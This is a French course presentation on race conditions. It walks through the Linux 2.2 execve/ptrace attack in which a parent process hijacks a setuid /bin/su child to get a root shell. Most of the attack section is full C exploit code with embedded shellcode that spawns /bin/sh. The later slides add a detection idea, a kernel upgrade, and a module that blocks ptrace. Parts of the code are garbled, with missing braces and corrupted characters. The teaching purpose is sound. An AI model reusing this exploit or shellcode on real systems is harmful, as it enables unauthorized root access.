Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane
Qu’est ce qu’une Course Critique ? Une course critique peut se produire si deux ou plusieurs processus manipulent les mêmes données ou ressources au même moment. L’ordre dans lequel les opérations seront effectuées est quelconque et le résultat peut être la perte ou la falsification des données. Montrons tout cela par un exemple. Imaginons deux processus traitant une variable partagée X:
Process1 Process2 . . . - Lecture de X en fichier Z (X=5) - X=X+5 - Ecriture de X en fichier Z . . . - Lecture de X en fichier Z (X=5) - X=6-X - Ecriture de X en fichier Z - Lecture de X en fichier Z Exécution Process2 pense que le fichier Z contient la valeur calculée de X (=1), alors qu’il contient une valeur de X=10 calculée par Process1. Ainsi Process2 est induit en erreur ce qui peut avoir des conséquences sur le reste de son exécution. Le danger est présent uniquement dans un intervalle appelé « section critique ». Dans notre exemple la zone encadrée en orange en est une.
Comment peut on utiliser cela pour une attaque? L’attaquant induit le système en erreur. Il veille à bien respecter un ordre dans les opérations effectuées par des processus système pour obtenir ce qu’il souhaite. Montrons tout cela par un exemple: Attaquant Système . . . -Création de fichier X -Appel système sur fichier X . . . - Remplacer fichier X par mon fichier Exécution Le fichier X peut par exemple être un fichier appelé par un processus possédant des droits root, ainsi, l’attaquant peut se procurer un accès root. (Le fichier X peut, par exemple, faire appel à un shell ou un script…)
Exemple sous RedHat Linux execve() / ptrace()
Exemple execve() sous RedHat Linux execve() est une fonction qui permet de transformer un processus en un autre. execve() charge les données du programme dans lequel on veut que le processus se transforme, ensuite change toutes les variables, registres… Le processus appelant est maintenant complètement transformé.
Exemple ptrace() sous RedHat Linux ptrace() est une fonction utilisée pour le débogage. Elle peut être attachée à un processus, si on a les droits assez élevés, pour surveiller celui-ci. Tout appel à ptrace met le processus surveillé en un état de sleep et ptrace peut alors consulter et même modifier les registres de ce processus.
Exemple setuid() sous RedHat Linux setuid place l’ID utilisateur dans le processus. setuid contrôle l’ID utilisateur de l’appellant, si c’est le root, tous les processus avec cette ID utilisateur sont mis à root.
Exemple sous RedHat Linux En plaçant le processus fils en attente dans execve(), l’attaquant peut utiliser ptrace() (ou un mécanisme similaire) pour détourner le contrôle du processus fils. Si le processus fils execute setuid, l’attaquant peut lui faire executer du code arbitraire avec des droits élevés.
Exemple sous RedHat Linux Pere crée Fils
Exemple sous RedHat Linux Pere Fils . . . execve(su)
Exemple sous RedHat Linux Pere attache Fils charge SU (droits root)
Exemple sous RedHat Linux Pere attaché SU
Exemple sous RedHat Linux Pere attaché SU Lit registres du processus
Exemple Pere SU sous RedHat Linux attaché Change registres en plaçant le code d’un shell dedans
Exemple sous RedHat Linux Pere attaché SU Ecrit registres du processus
Exemple sous RedHat Linux Pere détache shell (droits root)
Exemple sous RedHat Linux Code de l´exploit
#define CS_SIGNAL SIGUSR1 #define VICTIM "/bin/su" #define SHELL "/bin/sh" char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24" "\x90\x90\x90\x89\xe1\x8d\x54\x24" "\x04\xb0\x0b\xcd\x80\x31\xc0\x89" "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00" ; volatile int cs_detector=0; void cs_sig_handler(int sig) { cs_detector=1; }
void do_victim(char * filename) { /* -------------FILS------------- */ /* Attente que le pere envoi un signal */ while (!cs_detector) ; /* Envoi de signal au pere */ kill(getppid(), CS_SIGNAL); /* Execution de la fonction victime */ execl(filename, filename, NULL); perror("execl"); exit(-1); }
int main(int argc, char * argv[]) { char * filename=VICTIM; pid_t victim; int error, i; struct user_regs_struct regs; /* Interception du signal CS_SIGNAL par cs_sig_handler */ signal(CS_SIGNAL, cs_sig_handler); /* Creer le fils -> processus victim */ victim=fork(); if (victim<0) { perror("fork: victim"); exit(-1); } /* Le fils execute do_victim et le pere continue */ if (victim==0) do_victim(filename);
/* -------------PERE------------- */ /* Reveiller le fils qui est en attente en do_victim */ kill(victim, CS_SIGNAL); /* Attendre que le fils soit eveille et envoi un signal */ while (!cs_detector) ; /* S'attacher au fils tant qu'on a encore assez de droits cad qu il n est pas encore devenu su */ if (ptrace(PTRACE_ATTACH, victim)) { perror("ptrace: PTRACE_ATTACH"); goto exit; } /* Attendre que le fils se soit bien endormi */ (void)waitpid(victim, NULL, WUNTRACED); /* On relance le fils pour qu'il devienne su */ if (ptrace(PTRACE_CONT, victim, 0, 0)) { perror("ptrace: PTRACE_CONT");
/* Attendre que le fils se soit bien endormi */ (void)waitpid(victim, NULL, WUNTRACED); /* Lecture des registres du fils */ if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) { perror("ptrace: PTRACE_GETREGS"); goto exit; } /* Changer le registre "floatingpoint" du fils en le remplacent par le shellcode */ for (i=0; i<=strlen(shellcode); i+=4) { if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i, *(int*)(shellcode+i))) { perror("ptrace: PTRACE_POKETEXT"); } /* Ecriture des registres dans le fils */ if (ptrace(PTRACE_SETREGS, victim, 0, ®s)) { perror("ptrace: PTRACE_SETREGS");
fprintf(stderr, "bug X-ploited successfully.\nNjoy!\n"); /* Detachement du fils */ if (ptrace(PTRACE_DETACH, victim, 0, 0)) { perror("ptrace: PTRACE_DETACH"); goto exit; } /* Attente de la fin du fils */ (void)waitpid(victim, NULL, 0); fprintf(stderr,"Attente que fils se terminee\n"); return 0; exit: fprintf(stderr, "MERDEEEEEEEEEEEEEEE c nva pas\n"); kill(victim, SIGKILL); return -1; }
Détection On imagine pour la détection de contrôler les appels aux fonctions de la famille execve et de detecter si dans un intervalle de temps assez court cet appel est suivi d’un appel à ptrace.
Elimination Pour éliminer le problème, il faut patcher le noyau. Les version du noyau à partir de la version 2.2.19 ne contiennent plus cette course. Un moyen rapide d’éliminer la course est d’interdire l’appel systeme à ptrace. Il y a un module écrit à cet effet: Pour l’utiliser: gr03:~# gcc -c npt.c gr03:~# insmod ./npt.o Le module interdit tout « ptrace » de processus, mais protège instantanément contre des attaques par cette course.
Exemple de fonctionnement du module [before installing module] gr03:> ./a.out /sbin/powerd [*] Child exec... [+] Waiting for disk sleep.... dunno why but that printf helps sometimes ;) [OK] [+] ATTACH: 0 : Success [+] eip: 0x1109d0 -> 0x805a41b [+] copy data from 0x805a3e0 to 0xbffff100 [...............] [?] DETACH: 0 : Success Status of 5342: R bash# [installing module[ bash# /sbin/insmod ./npt.o bash# exit emsi:~/hack/ptrace> ./a.out /sbin/reboot [--] ATTACH: Operation not permitted <==== see this Exiting... gr03:> Unknown id: ELF```
Code source du module #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/unistd.h> #include <sys/syscall.h> #ifndef KERNEL_VERSION #define KERNEL_VERSION(a,b,c) ((a)*65536+(b)*256+(c)) #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0) #include <asm/unistd.h> #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,14) #include <bits/syscall.h>
extern void *sys_call_table[]; int (*orig_ptrace)(int, int, int, int); int no_ptrace (int request, int pid, int addr, int data) {return -1;} int init_module(void) { orig_ptrace = sys_call_table[__NR_ptrace]; sys_call_table[__NR_ptrace]=no_ptrace; return 0; } void cleanup_module(void) { sys_call_table[__NR_ptrace]=orig_ptrace;